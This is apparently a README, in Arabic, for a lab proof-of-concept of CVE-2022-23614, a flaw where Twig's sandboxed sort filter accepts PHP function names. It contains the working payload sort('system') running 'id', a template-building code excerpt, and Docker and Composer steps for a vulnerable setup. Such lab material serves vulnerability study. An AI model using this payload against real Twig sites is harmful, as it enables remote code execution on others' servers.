
إثبات المفهوم لـ CVE-2022-23614 (حقن الأوامر في Twig)
برهان المفهوم (PoC) لـ CVE-2022-23614 المشار إليه في DSA-5107-1.
Twig هو محرك قوالب مرن وسريع وآمن لـ PHP. بشكل ملحوظ، من الممكن استخدام المرشحات في قالب قبل تقديمه. يمكن استخدام مرشح sort لفرز عناصر مصفوفة بالهيكل التالي:
{{ [5,8,2,3]|sort('desc') }}
Twig يحتوي على وضع الصندوق الرمل (sandbox) لتقييم كود القوالب غير الموثوق. عند استخدام هذا الوضع، يجب أن يكون معامل arrow لمرشح sort إغلاقًا (closure) لتجنب قدرة المهاجمين على تشغيل دوال PHP عشوائية. في الإصدارات المتأثرة، لم يتم تطبيق هذا القيد بشكل صحيح ويمكن أن يؤدي إلى حقن كود PHP عشوائي.
{{ ["id",""]|sort('system') }}
يوضح هذا البرهان الثغرة في حالتين استخدام مختلفتين: إما باستخدام حزمة Debian (v2.14.1) أو باستخدام وحدة Composer (v2.14).
php-twigtwig/twigيقوم ملف index.php بإنشاء قالب Twig بناءً على الوسيطة الأولى. في الكود التالي، argv[1] هو اسم دالة الفرز التي سيستخدمها Twig أثناء التقديم.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
ثم سيستخدم index.php دالتين مهملتين من Twig لتحميل القالب المُنشأ. في النهاية، يستخدم الوسيطة الثانية (argv[2]) لتمرير البيانات إلى القالب أثناء تقديمه، ولا سيما مصفوفة args التي نريد فرزها.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
ثم تتم طباعة القالب المُقدَّم في المخرجات القياسية.
يُرجى ملاحظة أن هذا المستودع أُنشئ لأغراض توضيحية فقط. وهو مصمم ليكون بسيطًا وسهل الفهم والاستخدام من أجل اللعب بـ CVE باستخدام واجهة سطر الأوامر فقط. وهو بعيد كل البعد عما يمكن العثور عليه في خادم ضعيف فعلي.
باستخدام Docker، يمكننا إعادة إنشاء سياق نشرة الأمان Debian (DSA) الأصلية. يمكنك استخدام السكربت build-docker.sh المُعطى لبناء وتشغيل الحاوية الضعيفة بشكل صحيح.
chmod a+x build-docker.sh
./build-docker.sh
يجب أن تغلق الحاوية بمجرد تنفيذ الحمولة (أمر id). إذا كنت تريد تجربة أوامرك الخاصة، يمكنك تشغيل الحاوية في الوضع التفاعلي:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
بمجرد الدخول إلى الحاوية، يمكنك صياغة حمولتك الخاصة باستخدام النموذج التالي:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
تم إنشاء هذا الدوكرفايل جزئيًا باستخدام DECRET.
إذا كان لديك php وComposer مثبتين بالفعل على جهازك، يمكنك نسخ الاستغلال باستخدام وحدة Composer الضعيفة.
cd exploit
composer install
ثم عليك فقط اللعب بالحمولة.
php index.php system '{"args":["id",""]}'
تفاصيل CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
PoC بواسطة davwwwx (باستخدام واجهة المستخدم الرسومية): https://github.com/davwwwx/CVE-2022-23614